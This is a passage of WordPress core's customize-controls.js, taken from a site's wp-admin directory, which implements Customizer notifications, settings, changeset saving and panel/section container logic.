/home/idolaotomotif/webcool.biz/wp-admin/js/customize-controls.js
/**
 * @output wp-admin/js/customize-controls.js
 */

/* global _wpCustomizeHeader, _wpCustomizeBackground, _wpMediaViewsL10n, MediaElementPlayer, console, confirm */
(function( exports, $ ){
	var Container, focus, normalizedTransitionendEventName, api = wp.customize;

	var reducedMotionMediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
	var isReducedMotion = reducedMotionMediaQuery.matches;
	reducedMotionMediaQuery.addEventListener( 'change' , function handleReducedMotionChange( event ) {
		isReducedMotion = event.matches;
	});

	api.OverlayNotification = api.Notification.extend(/** @lends wp.customize.OverlayNotification.prototype */{

		/**
		 * Whether the notification should show a loading spinner.
		 *
		 * @since 4.9.0
		 * @var {boolean}
		 */
		loading: false,

		/**
		 * A notification that is displayed in a full-screen overlay.
		 *
		 * @constructs wp.customize.OverlayNotification
		 * @augments   wp.customize.Notification
		 *
		 * @since 4.9.0
		 *
		 * @param {string} code - Code.
		 * @param {Object} params - Params.
		 */
		initialize: function( code, params ) {
			var notification = this;
			api.Notification.prototype.initialize.call( notification, code, params );
			notification.containerClasses += ' notification-overlay';
			if ( notification.loading ) {
				notification.containerClasses += ' notification-loading';
			}
		},

		/**
		 * Render notification.
		 *
		 * @since 4.9.0
		 *
		 * @return {jQuery} Notification container.
		 */
		render: function() {
			var li = api.Notification.prototype.render.call( this );
			li.on( 'keydown', _.bind( this.handleEscape, this ) );
			return li;
		},

		/**
		 * Stop propagation on escape key presses, but also dismiss notification if it is dismissible.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		handleEscape: function( event ) {
			var notification = this;
			if ( 27 === event.which ) {
				event.stopPropagation();
				if ( notification.dismissible && notification.parent ) {
					notification.parent.remove( notification.code );
				}
			}
		}
	});

	api.Notifications = api.Values.extend(/** @lends wp.customize.Notifications.prototype */{

		/**
		 * Whether the alternative style should be used.
		 *
		 * @since 4.9.0
		 * @type {boolean}
		 */
		alt: false,

		/**
		 * The default constructor for items of the collection.
		 *
		 * @since 4.9.0
		 * @type {object}
		 */
		defaultConstructor: api.Notification,

		/**
		 * A collection of observable notifications.
		 *
		 * @since 4.9.0
		 *
		 * @constructs wp.customize.Notifications
		 * @augments   wp.customize.Values
		 *
		 * @param {Object}  options - Options.
		 * @param {jQuery}  [options.container] - Container element for notifications. This can be injected later.
		 * @param {boolean} [options.alt] - Whether alternative style should be used when rendering notifications.
		 *
		 * @return {void}
		 */
		initialize: function( options ) {
			var collection = this;

			api.Values.prototype.initialize.call( collection, options );

			_.bindAll( collection, 'constrainFocus' );

			// Keep track of the order in which the notifications were added for sorting purposes.
			collection._addedIncrement = 0;
			collection._addedOrder = {};

			// Trigger change event when notification is added or removed.
			collection.bind( 'add', function( notification ) {
				collection.trigger( 'change', notification );
			});
			collection.bind( 'removed', function( notification ) {
				collection.trigger( 'change', notification );
			});
		},

		/**
		 * Get the number of notifications added.
		 *
		 * @since 4.9.0
		 * @return {number} Count of notifications.
		 */
		count: function() {
			return _.size( this._value );
		},

		/**
		 * Add notification to the collection.
		 *
		 * @since 4.9.0
		 *
		 * @param {string|wp.customize.Notification} notification - Notification object to add. Alternatively code may be supplied, and in that case the second notificationObject argument must be supplied.
		 * @param {wp.customize.Notification} [notificationObject] - Notification to add when first argument is the code string.
		 * @return {wp.customize.Notification} Added notification (or existing instance if it was already added).
		 */
		add: function( notification, notificationObject ) {
			var collection = this, code, instance;
			if ( 'string' === typeof notification ) {
				code = notification;
				instance = notificationObject;
			} else {
				code = notification.code;
				instance = notification;
			}
			if ( ! collection.has( code ) ) {
				collection._addedIncrement += 1;
				collection._addedOrder[ code ] = collection._addedIncrement;
			}
			return api.Values.prototype.add.call( collection, code, instance );
		},

		/**
		 * Add notification to the collection.
		 *
		 * @since 4.9.0
		 * @param {string} code - Notification code to remove.
		 * @return {api.Notification} Added instance (or existing instance if it was already added).
		 */
		remove: function( code ) {
			var collection = this;
			delete collection._addedOrder[ code ];
			return api.Values.prototype.remove.call( this, code );
		},

		/**
		 * Get list of notifications.
		 *
		 * Notifications may be sorted by type followed by added time.
		 *
		 * @since 4.9.0
		 * @param {Object}  args - Args.
		 * @param {boolean} [args.sort=false] - Whether to return the notifications sorted.
		 * @return {Array.<wp.customize.Notification>} Notifications.
		 */
		get: function( args ) {
			var collection = this, notifications, errorTypePriorities, params;
			notifications = _.values( collection._value );

			params = _.extend(
				{ sort: false },
				args
			);

			if ( params.sort ) {
				errorTypePriorities = { error: 4, warning: 3, success: 2, info: 1 };
				notifications.sort( function( a, b ) {
					var aPriority = 0, bPriority = 0;
					if ( ! _.isUndefined( errorTypePriorities[ a.type ] ) ) {
						aPriority = errorTypePriorities[ a.type ];
					}
					if ( ! _.isUndefined( errorTypePriorities[ b.type ] ) ) {
						bPriority = errorTypePriorities[ b.type ];
					}
					if ( aPriority !== bPriority ) {
						return bPriority - aPriority; // Show errors first.
					}
					return collection._addedOrder[ b.code ] - collection._addedOrder[ a.code ]; // Show newer notifications higher.
				});
			}

			return notifications;
		},

		/**
		 * Render notifications area.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		render: function() {
			var collection = this,
				notifications, hadOverlayNotification = false, hasOverlayNotification, overlayNotifications = [],
				previousNotificationsByCode = {},
				listElement, focusableElements;

			// Short-circuit if there are no container to render into.
			if ( ! collection.container || ! collection.container.length ) {
				return;
			}

			notifications = collection.get( { sort: true } );
			collection.container.toggle( 0 !== notifications.length );

			// Short-circuit if there are no changes to the notifications.
			if ( collection.container.is( collection.previousContainer ) && _.isEqual( notifications, collection.previousNotifications ) ) {
				return;
			}

			// Make sure list is part of the container.
			listElement = collection.container.children( 'ul' ).first();
			if ( ! listElement.length ) {
				listElement = $( '<ul></ul>' );
				collection.container.append( listElement );
			}

			// Remove all notifications prior to re-rendering.
			listElement.find( '> [data-code]' ).remove();

			_.each( collection.previousNotifications, function( notification ) {
				previousNotificationsByCode[ notification.code ] = notification;
			});

			// Add all notifications in the sorted order.
			_.each( notifications, function( notification ) {
				var notificationContainer;
				if ( wp.a11y && ( ! previousNotificationsByCode[ notification.code ] || ! _.isEqual( notification.message, previousNotificationsByCode[ notification.code ].message ) ) ) {
					wp.a11y.speak( notification.message, 'assertive' );
				}
				notificationContainer = $( notification.render() );
				notification.container = notificationContainer;
				listElement.append( notificationContainer ); // @todo Consider slideDown() as enhancement.

				if ( notification.extended( api.OverlayNotification ) ) {
					overlayNotifications.push( notification );
				}
			});
			hasOverlayNotification = Boolean( overlayNotifications.length );

			if ( collection.previousNotifications ) {
				hadOverlayNotification = Boolean( _.find( collection.previousNotifications, function( notification ) {
					return notification.extended( api.OverlayNotification );
				} ) );
			}

			if ( hasOverlayNotification !== hadOverlayNotification ) {
				$( document.body ).toggleClass( 'customize-loading', hasOverlayNotification );
				collection.container.toggleClass( 'has-overlay-notifications', hasOverlayNotification );
				if ( hasOverlayNotification ) {
					collection.previousActiveElement = document.activeElement;
					$( document ).on( 'keydown', collection.constrainFocus );
				} else {
					$( document ).off( 'keydown', collection.constrainFocus );
				}
			}

			if ( hasOverlayNotification ) {
				collection.focusContainer = overlayNotifications[ overlayNotifications.length - 1 ].container;
				collection.focusContainer.prop( 'tabIndex', -1 );
				focusableElements = collection.focusContainer.find( ':focusable' );
				if ( focusableElements.length ) {
					focusableElements.first().focus();
				} else {
					collection.focusContainer.focus();
				}
			} else if ( collection.previousActiveElement ) {
				$( collection.previousActiveElement ).trigger( 'focus' );
				collection.previousActiveElement = null;
			}

			collection.previousNotifications = notifications;
			collection.previousContainer = collection.container;
			collection.trigger( 'rendered' );
		},

		/**
		 * Constrain focus on focus container.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		constrainFocus: function constrainFocus( event ) {
			var collection = this, focusableElements;

			// Prevent keys from escaping.
			event.stopPropagation();

			if ( 9 !== event.which ) { // Tab key.
				return;
			}

			focusableElements = collection.focusContainer.find( ':focusable' );
			if ( 0 === focusableElements.length ) {
				focusableElements = collection.focusContainer;
			}

			if ( ! $.contains( collection.focusContainer[0], event.target ) || ! $.contains( collection.focusContainer[0], document.activeElement ) ) {
				event.preventDefault();
				focusableElements.first().focus();
			} else if ( focusableElements.last().is( event.target ) && ! event.shiftKey ) {
				event.preventDefault();
				focusableElements.first().focus();
			} else if ( focusableElements.first().is( event.target ) && event.shiftKey ) {
				event.preventDefault();
				focusableElements.last().focus();
			}
		}
	});

	api.Setting = api.Value.extend(/** @lends wp.customize.Setting.prototype */{

		/**
		 * Default params.
		 *
		 * @since 4.9.0
		 * @var {object}
		 */
		defaults: {
			transport: 'refresh',
			dirty: false
		},

		/**
		 * A Customizer Setting.
		 *
		 * A setting is WordPress data (theme mod, option, menu, etc.) that the user can
		 * draft changes to in the Customizer.
		 *
		 * @see PHP class WP_Customize_Setting.
		 *
		 * @constructs wp.customize.Setting
		 * @augments   wp.customize.Value
		 *
		 * @since 3.4.0
		 *
		 * @param {string}  id                          - The setting ID.
		 * @param {*}       value                       - The initial value of the setting.
		 * @param {Object}  [options={}]                - Options.
		 * @param {string}  [options.transport=refresh] - The transport to use for previewing. Supports 'refresh' and 'postMessage'.
		 * @param {boolean} [options.dirty=false]       - Whether the setting should be considered initially dirty.
		 * @param {Object}  [options.previewer]         - The Previewer instance to sync with. Defaults to wp.customize.previewer.
		 */
		initialize: function( id, value, options ) {
			var setting = this, params;
			params = _.extend(
				{ previewer: api.previewer },
				setting.defaults,
				options || {}
			);

			api.Value.prototype.initialize.call( setting, value, params );

			setting.id = id;
			setting._dirty = params.dirty; // The _dirty property is what the Customizer reads from.
			setting.notifications = new api.Notifications();

			// Whenever the setting's value changes, refresh the preview.
			setting.bind( setting.preview );
		},

		/**
		 * Refresh the preview, respective of the setting's refresh policy.
		 *
		 * If the preview hasn't sent a keep-alive message and is likely
		 * disconnected by having navigated to a non-allowed URL, then the
		 * refresh transport will be forced when postMessage is the transport.
		 * Note that postMessage does not throw an error when the recipient window
		 * fails to match the origin window, so using try/catch around the
		 * previewer.send() call to then fallback to refresh will not work.
		 *
		 * @since 3.4.0
		 * @access public
		 *
		 * @return {void}
		 */
		preview: function() {
			var setting = this, transport;
			transport = setting.transport;

			if ( 'postMessage' === transport && ! api.state( 'previewerAlive' ).get() ) {
				transport = 'refresh';
			}

			if ( 'postMessage' === transport ) {
				setting.previewer.send( 'setting', [ setting.id, setting() ] );
			} else if ( 'refresh' === transport ) {
				setting.previewer.refresh();
			}
		},

		/**
		 * Find controls associated with this setting.
		 *
		 * @since 4.6.0
		 * @return {wp.customize.Control[]} Controls associated with setting.
		 */
		findControls: function() {
			var setting = this, controls = [];
			api.control.each( function( control ) {
				_.each( control.settings, function( controlSetting ) {
					if ( controlSetting.id === setting.id ) {
						controls.push( control );
					}
				} );
			} );
			return controls;
		}
	});

	/**
	 * Current change count.
	 *
	 * @alias wp.customize._latestRevision
	 *
	 * @since 4.7.0
	 * @type {number}
	 * @protected
	 */
	api._latestRevision = 0;

	/**
	 * Last revision that was saved.
	 *
	 * @alias wp.customize._lastSavedRevision
	 *
	 * @since 4.7.0
	 * @type {number}
	 * @protected
	 */
	api._lastSavedRevision = 0;

	/**
	 * Latest revisions associated with the updated setting.
	 *
	 * @alias wp.customize._latestSettingRevisions
	 *
	 * @since 4.7.0
	 * @type {object}
	 * @protected
	 */
	api._latestSettingRevisions = {};

	/*
	 * Keep track of the revision associated with each updated setting so that
	 * requestChangesetUpdate knows which dirty settings to include. Also, once
	 * ready is triggered and all initial settings have been added, increment
	 * revision for each newly-created initially-dirty setting so that it will
	 * also be included in changeset update requests.
	 */
	api.bind( 'change', function incrementChangedSettingRevision( setting ) {
		api._latestRevision += 1;
		api._latestSettingRevisions[ setting.id ] = api._latestRevision;
	} );
	api.bind( 'ready', function() {
		api.bind( 'add', function incrementCreatedSettingRevision( setting ) {
			if ( setting._dirty ) {
				api._latestRevision += 1;
				api._latestSettingRevisions[ setting.id ] = api._latestRevision;
			}
		} );
	} );

	/**
	 * Get the dirty setting values.
	 *
	 * @alias wp.customize.dirtyValues
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param {Object} [options] Options.
	 * @param {boolean} [options.unsaved=false] Whether only values not saved yet into a changeset will be returned (differential changes).
	 * @return {Object} Dirty setting values.
	 */
	api.dirtyValues = function dirtyValues( options ) {
		var values = {};
		api.each( function( setting ) {
			var settingRevision;

			if ( ! setting._dirty ) {
				return;
			}

			settingRevision = api._latestSettingRevisions[ setting.id ];

			// Skip including settings that have already been included in the changeset, if only requesting unsaved.
			if ( api.state( 'changesetStatus' ).get() && ( options && options.unsaved ) && ( _.isUndefined( settingRevision ) || settingRevision <= api._lastSavedRevision ) ) {
				return;
			}

			values[ setting.id ] = setting.get();
		} );
		return values;
	};

	/**
	 * Request updates to the changeset.
	 *
	 * @alias wp.customize.requestChangesetUpdate
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param {Object}  [changes] - Mapping of setting IDs to setting params each normally including a value property, or mapping to null.
	 *                             If not provided, then the changes will still be obtained from unsaved dirty settings.
	 * @param {Object}  [args] - Additional options for the save request.
	 * @param {boolean} [args.autosave=false] - Whether changes will be stored in autosave revision if the changeset has been promoted from an auto-draft.
	 * @param {boolean} [args.force=false] - Send request to update even when there are no changes to submit. This can be used to request the latest status of the changeset on the server.
	 * @param {string}  [args.title] - Title to update in the changeset. Optional.
	 * @param {string}  [args.date] - Date to update in the changeset. Optional.
	 * @return {jQuery.Promise} Promise resolving with the response data.
	 */
	api.requestChangesetUpdate = function requestChangesetUpdate( changes, args ) {
		var deferred, request, submittedChanges = {}, data, submittedArgs;
		deferred = new $.Deferred();

		// Prevent attempting changeset update while request is being made.
		if ( 0 !== api.state( 'processing' ).get() ) {
			deferred.reject( 'already_processing' );
			return deferred.promise();
		}

		submittedArgs = _.extend( {
			title: null,
			date: null,
			autosave: false,
			force: false
		}, args );

		if ( changes ) {
			_.extend( submittedChanges, changes );
		}

		// Ensure all revised settings (changes pending save) are also included, but not if marked for deletion in changes.
		_.each( api.dirtyValues( { unsaved: true } ), function( dirtyValue, settingId ) {
			if ( ! changes || null !== changes[ settingId ] ) {
				submittedChanges[ settingId ] = _.extend(
					{},
					submittedChanges[ settingId ] || {},
					{ value: dirtyValue }
				);
			}
		} );

		// Allow plugins to attach additional params to the settings.
		api.trigger( 'changeset-save', submittedChanges, submittedArgs );

		// Short-circuit when there are no pending changes.
		if ( ! submittedArgs.force && _.isEmpty( submittedChanges ) && null === submittedArgs.title && null === submittedArgs.date ) {
			deferred.resolve( {} );
			return deferred.promise();
		}

		// A status would cause a revision to be made, and for this wp.customize.previewer.save() should be used.
		// Status is also disallowed for revisions regardless.
		if ( submittedArgs.status ) {
			return deferred.reject( { code: 'illegal_status_in_changeset_update' } ).promise();
		}

		// Dates not beung allowed for revisions are is a technical limitation of post revisions.
		if ( submittedArgs.date && submittedArgs.autosave ) {
			return deferred.reject( { code: 'illegal_autosave_with_date_gmt' } ).promise();
		}

		// Make sure that publishing a changeset waits for all changeset update requests to complete.
		api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
		deferred.always( function() {
			api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
		} );

		// Ensure that if any plugins add data to save requests by extending query() that they get included here.
		data = api.previewer.query( { excludeCustomizedSaved: true } );
		delete data.customized; // Being sent in customize_changeset_data instead.
		_.extend( data, {
			nonce: api.settings.nonce.save,
			customize_theme: api.settings.theme.stylesheet,
			customize_changeset_data: JSON.stringify( submittedChanges )
		} );
		if ( null !== submittedArgs.title ) {
			data.customize_changeset_title = submittedArgs.title;
		}
		if ( null !== submittedArgs.date ) {
			data.customize_changeset_date = submittedArgs.date;
		}
		if ( false !== submittedArgs.autosave ) {
			data.customize_changeset_autosave = 'true';
		}

		// Allow plugins to modify the params included with the save request.
		api.trigger( 'save-request-params', data );

		request = wp.ajax.post( 'customize_save', data );

		request.done( function requestChangesetUpdateDone( data ) {
			var savedChangesetValues = {};

			// Ensure that all settings updated subsequently will be included in the next changeset update request.
			api._lastSavedRevision = Math.max( api._latestRevision, api._lastSavedRevision );

			api.state( 'changesetStatus' ).set( data.changeset_status );

			if ( data.changeset_date ) {
				api.state( 'changesetDate' ).set( data.changeset_date );
			}

			deferred.resolve( data );
			api.trigger( 'changeset-saved', data );

			if ( data.setting_validities ) {
				_.each( data.setting_validities, function( validity, settingId ) {
					if ( true === validity && _.isObject( submittedChanges[ settingId ] ) && ! _.isUndefined( submittedChanges[ settingId ].value ) ) {
						savedChangesetValues[ settingId ] = submittedChanges[ settingId ].value;
					}
				} );
			}

			api.previewer.send( 'changeset-saved', _.extend( {}, data, { saved_changeset_values: savedChangesetValues } ) );
		} );
		request.fail( function requestChangesetUpdateFail( data ) {
			deferred.reject( data );
			api.trigger( 'changeset-error', data );
		} );
		request.always( function( data ) {
			if ( data.setting_validities ) {
				api._handleSettingValidities( {
					settingValidities: data.setting_validities
				} );
			}
		} );

		return deferred.promise();
	};

	/**
	 * Watch all changes to Value properties, and bubble changes to parent Values instance
	 *
	 * @alias wp.customize.utils.bubbleChildValueChanges
	 *
	 * @since 4.1.0
	 *
	 * @param {wp.customize.Class} instance
	 * @param {Array}              properties  The names of the Value instances to watch.
	 */
	api.utils.bubbleChildValueChanges = function ( instance, properties ) {
		$.each( properties, function ( i, key ) {
			instance[ key ].bind( function ( to, from ) {
				if ( instance.parent && to !== from ) {
					instance.parent.trigger( 'change', instance );
				}
			} );
		} );
	};

	/**
	 * Expand a panel, section, or control and focus on the first focusable element.
	 *
	 * @alias wp.customize~focus
	 *
	 * @since 4.1.0
	 *
	 * @param {Object}   [params]
	 * @param {Function} [params.completeCallback]
	 */
	focus = function ( params ) {
		var construct, completeCallback, focus, focusElement, sections;
		construct = this;
		params = params || {};
		focus = function () {
			// If a child section is currently expanded, collapse it.
			if ( construct.extended( api.Panel ) ) {
				sections = construct.sections();
				if ( 1 < sections.length ) {
					sections.forEach( function ( section ) {
						if ( section.expanded() ) {
							section.collapse();
						}
					} );
				}
			}

			var focusContainer;
			if ( ( construct.extended( api.Panel ) || construct.extended( api.Section ) ) && construct.expanded && construct.expanded() ) {
				focusContainer = construct.contentContainer;
			} else {
				focusContainer = construct.container;
			}

			focusElement = focusContainer.find( '.control-focus:first' );
			if ( 0 === focusElement.length ) {
				// Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
				focusElement = focusContainer.find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' ).first();
			}
			focusElement.focus();
		};
		if ( params.completeCallback ) {
			completeCallback = params.completeCallback;
			params.completeCallback = function () {
				focus();
				completeCallback();
			};
		} else {
			params.completeCallback = focus;
		}

		api.state( 'paneVisible' ).set( true );
		if ( construct.expand ) {
			construct.expand( params );
		} else {
			params.completeCallback();
		}
	};

	/**
	 * Stable sort for Panels, Sections, and Controls.
	 *
	 * If a.priority() === b.priority(), then sort by their respective params.instanceNumber.
	 *
	 * @alias wp.customize.utils.prioritySort
	 *
	 * @since 4.1.0
	 *
	 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} a
	 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} b
	 * @return {number}
	 */
	api.utils.prioritySort = function ( a, b ) {
		if ( a.priority() === b.priority() && typeof a.params.instanceNumber === 'number' && typeof b.params.instanceNumber === 'number' ) {
			return a.params.instanceNumber - b.params.instanceNumber;
		} else {
			return a.priority() - b.priority();
		}
	};

	/**
	 * Return whether the supplied Event object is for a keydown event but not the Enter key.
	 *
	 * @alias wp.customize.utils.isKeydownButNotEnterEvent
	 *
	 * @since 4.1.0
	 *
	 * @param {jQuery.Event} event
	 * @return {boolean}
	 */
	api.utils.isKeydownButNotEnterEvent = function ( event ) {
		return ( 'keydown' === event.type && 13 !== event.which );
	};

	/**
	 * Return whether the two lists of elements are the same and are in the same order.
	 *
	 * @alias wp.customize.utils.areElementListsEqual
	 *
	 * @since 4.1.0
	 *
	 * @param {Array|jQuery} listA
	 * @param {Array|jQuery} listB
	 * @return {boolean}
	 */
	api.utils.areElementListsEqual = function ( listA, listB ) {
		var equal = (
			listA.length === listB.length && // If lists are different lengths, then naturally they are not equal.
			-1 === _.indexOf( _.map(         // Are there any false values in the list returned by map?
				_.zip( listA, listB ),       // Pair up each element between the two lists.
				function ( pair ) {
					return $( pair[0] ).is( pair[1] ); // Compare to see if each pair is equal.
				}
			), false ) // Check for presence of false in map's return value.
		);
		return equal;
	};

	/**
	 * Highlight the existence of a button.
	 *
	 * This function reminds the user of a button represented by the specified
	 * UI element, after an optional delay. If the user focuses the element
	 * before the delay passes, the reminder is canceled.
	 *
	 * @alias wp.customize.utils.highlightButton
	 *
	 * @since 4.9.0
	 *
	 * @param {jQuery} button - The element to highlight.
	 * @param {Object} [options] - Options.
	 * @param {number} [options.delay=0] - Delay in milliseconds.
	 * @param {jQuery} [options.focusTarget] - A target for user focus that defaults to the highlighted element.
	 *                                         If the user focuses the target before the delay passes, the reminder
	 *                                         is canceled. This option exists to accommodate compound buttons
	 *                                         containing auxiliary UI, such as the Publish button augmented with a
	 *                                         Settings button.
	 * @return {Function} An idempotent function that cancels the reminder.
	 */
	api.utils.highlightButton = function highlightButton( button, options ) {
		var animationClass = 'button-see-me',
			canceled = false,
			params;

		params = _.extend(
			{
				delay: 0,
				focusTarget: button
			},
			options
		);

		function cancelReminder() {
			canceled = true;
		}

		params.focusTarget.on( 'focusin', cancelReminder );
		setTimeout( function() {
			params.focusTarget.off( 'focusin', cancelReminder );

			if ( ! canceled ) {
				button.addClass( animationClass );
				button.one( 'animationend', function() {
					/*
					 * Remove animation class to avoid situations in Customizer where
					 * DOM nodes are moved (re-inserted) and the animation repeats.
					 */
					button.removeClass( animationClass );
				} );
			}
		}, params.delay );

		return cancelReminder;
	};

	/**
	 * Get current timestamp adjusted for server clock time.
	 *
	 * Same functionality as the `current_time( 'mysql', false )` function in PHP.
	 *
	 * @alias wp.customize.utils.getCurrentTimestamp
	 *
	 * @since 4.9.0
	 *
	 * @return {number} Current timestamp.
	 */
	api.utils.getCurrentTimestamp = function getCurrentTimestamp() {
		var currentDate, currentClientTimestamp, timestampDifferential;
		currentClientTimestamp = _.now();
		currentDate = new Date( api.settings.initialServerDate.replace( /-/g, '/' ) );
		timestampDifferential = currentClientTimestamp - api.settings.initialClientTimestamp;
		timestampDifferential += api.settings.initialClientTimestamp - api.settings.initialServerTimestamp;
		currentDate.setTime( currentDate.getTime() + timestampDifferential );
		return currentDate.getTime();
	};

	/**
	 * Get remaining time of when the date is set.
	 *
	 * @alias wp.customize.utils.getRemainingTime
	 *
	 * @since 4.9.0
	 *
	 * @param {string|number|Date} datetime - Date time or timestamp of the future date.
	 * @return {number} remainingTime - Remaining time in milliseconds.
	 */
	api.utils.getRemainingTime = function getRemainingTime( datetime ) {
		var millisecondsDivider = 1000, remainingTime, timestamp;
		if ( datetime instanceof Date ) {
			timestamp = datetime.getTime();
		} else if ( 'string' === typeof datetime ) {
			timestamp = ( new Date( datetime.replace( /-/g, '/' ) ) ).getTime();
		} else {
			timestamp = datetime;
		}

		remainingTime = timestamp - api.utils.getCurrentTimestamp();
		remainingTime = Math.ceil( remainingTime / millisecondsDivider );
		return remainingTime;
	};

	/**
	 * Return browser supported `transitionend` event name.
	 *
	 * @since 4.7.0
	 *
	 * @ignore
	 *
	 * @return {string|null} Normalized `transitionend` event name or null if CSS transitions are not supported.
	 */
	normalizedTransitionendEventName = (function () {
		var el, transitions, prop;
		el = document.createElement( 'div' );
		transitions = {
			'transition'      : 'transitionend',
			'OTransition'     : 'oTransitionEnd',
			'MozTransition'   : 'transitionend',
			'WebkitTransition': 'webkitTransitionEnd'
		};
		prop = _.find( _.keys( transitions ), function( prop ) {
			return ! _.isUndefined( el.style[ prop ] );
		} );
		if ( prop ) {
			return transitions[ prop ];
		} else {
			return null;
		}
	})();

	Container = api.Class.extend(/** @lends wp.customize~Container.prototype */{
		defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },
		defaultExpandedArguments: { duration: 'fast', completeCallback: $.noop },
		containerType: 'container',
		defaults: {
			title: '',
			description: '',
			priority: 100,
			type: 'default',
			content: null,
			active: true,
			instanceNumber: null
		},

		/**
		 * Base class for Panel and Section.
		 *
		 * @constructs wp.customize~Container
		 * @augments   wp.customize.Class
		 *
		 * @since 4.1.0
		 *
		 * @borrows wp.customize~focus as focus
		 *
		 * @param {string}  id - The ID for the container.
		 * @param {Object}  options - Object containing one property: params.
		 * @param {string}  options.title - Title shown when panel is collapsed and expanded.
		 * @param {string}  [options.description] - Description shown at the top of the panel.
		 * @param {number}  [options.priority=100] - The sort priority for the panel.
		 * @param {string}  [options.templateId] - Template selector for container.
		 * @param {string}  [options.type=default] - The type of the panel. See wp.customize.panelConstructor.
		 * @param {string}  [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
		 * @param {boolean} [options.active=true] - Whether the panel is active or not.
		 * @param {Object}  [options.params] - Deprecated wrapper for the above properties.
		 */
		initialize: function ( id, options ) {
			var container = this;
			container.id = id;

			if ( ! Container.instanceCounter ) {
				Container.instanceCounter = 0;
			}
			Container.instanceCounter++;

			$.extend( container, {
				params: _.defaults(
					options.params || options, // Passing the params is deprecated.
					container.defaults
				)
			} );
			if ( ! container.params.instanceNumber ) {
				container.params.instanceNumber = Container.instanceCounter;
			}
			container.notifications = new api.Notifications();
			container.templateSelector = container.params.templateId || 'customize-' + container.containerType + '-' + container.params.type;
			container.container = $( container.params.content );
			if ( 0 === container.container.length ) {
				container.container = $( container.getContainer() );
			}
			container.headContainer = container.container;
			container.contentContainer = container.getContent();
			container.container = container.container.add( container.contentContainer );

			container.deferred = {
				embedded: new $.Deferred()
			};
			container.priority = new api.Value();
			container.active = new api.Value();
			container.activeArgumentsQueue = [];
			container.expanded = new api.Value();
			container.expandedArgumentsQueue = [];

			container.active.bind( function ( active ) {
				var args = container.activeArgumentsQueue.shift();
				args = $.extend( {}, container.defaultActiveArguments, args );
				active = ( active && container.isContextuallyActive() );
				container.onChangeActive( active, args );
			});
			container.expanded.bind( function ( expanded ) {
				var args = container.expandedArgumentsQueue.shift();
				args = $.extend( {}, container.defaultExpandedArguments, args );
				container.onChangeExpanded( expanded, args );
			});

			container.deferred.embedded.done( function () {
				container.setupNotifications();
				container.attachEvents();
			});

			api.utils.bubbleChildValueChanges( container, [ 'priority', 'active' ] );

			container.priority.set( container.params.priority );
			container.active.set( container.params.active );
			container.expanded.set( false );
		},

		/**
		 * Get the element that will contain the notifications.
		 *
		 * @since 4.9.0
		 * @return {jQuery} Notification container element.
		 */
		getNotificationsContainerElement: function() {
			var container = this;
			return container.contentContainer.find( '.customize-control-notifications-container:first' );
		},

		/**
		 * Set up notifications.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		setupNotifications: function() {
			var container = this, renderNotifications;
			container.notifications.container = container.getNotificationsContainerElement();

			// Render notifications when they change and when the construct is expanded.
			renderNotifications = function() {
				if ( container.expanded.get() ) {
					container.notifications.render();
				}
			};
			container.expanded.bind( renderNotifications );
			renderNotifications();
			container.notifications.bind( 'change', _.debounce( renderNotifications ) );
		},

		/**
		 * @since 4.1.0
		 *
		 * @abstract
		 */
		ready: function() {},

		/**
		 * Get the child models associated with this parent, sorting them by their priority Value.
		 *
		 * @since 4.1.0
		 *
		 * @param {string} parentType
		 * @param {string} childType
		 * @return {Array}
		 */
		_children: function ( parentType, childType ) {
			var parent = this,
				children = [];
			api[ childType ].each( function ( child ) {
				if ( child[ parentType ].get() === parent.id ) {
					children.push( child );
				}
			} );
			children.sort( api.utils.prioritySort );
			return children;
		},

		/**
		 * To override by subclass, to return whether the container has active children.
		 *
		 * @since 4.1.0
		 *
		 * @abstract
		 */
		isContextuallyActive: function () {
			throw new Error( 'Container.isContextuallyActive() must be overridden in a subclass.' );
		},

		/**
		 * Active state change handler.
		 *
		 * Shows the container if it is active, hides it if not.
		 *
		 * To override by subclass, update the container's UI to reflect the provided active state.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}  active - The active state to transiution to.
		 * @param {Object}   [args] - Args.
		 * @param {Object}   [args.duration] - The duration for the slideUp/slideDown animation.
		 * @param {boolean}  [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
		 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
		 */
		onChangeActive: function( active, args ) {
			var construct = this,
				headContainer = construct.headContainer,
				duration, expandedOtherPanel;

			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			duration = ( 'resolved' === api.previewer.deferred.active.state() ? args.duration : 0 );

			if ( construct.extended( api.Panel ) ) {
				// If this is a panel is not currently expanded but another panel is expanded, do not animate.
				api.panel.each(function ( panel ) {
					if ( panel !== construct && panel.expanded() ) {
						expandedOtherPanel = panel;
						duration = 0;
					}
				});

				// Collapse any expanded sections inside of this panel first before deactivating.
				if ( ! active ) {
					_.each( construct.sections(), function( section ) {
						section.collapse( { duration: 0 } );
					} );
				}
			}

			if ( ! $.contains( document, headContainer.get( 0 ) ) ) {
				// If the element is not in the DOM, then jQuery.fn.slideUp() does nothing.
				// In this case, a hard toggle is required instead.
				headContainer.toggle( active );
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			} else if ( active ) {
				headContainer.slideDown( duration, args.completeCallback );
			} else {
				if ( construct.expanded() ) {
					construct.collapse({
						duration: duration,
						completeCallback: function() {
							headContainer.slideUp( duration, args.completeCallback );
						}
					});
				} else {
					headContainer.slideUp( duration, args.completeCallback );
				}
			}
		},

		/**
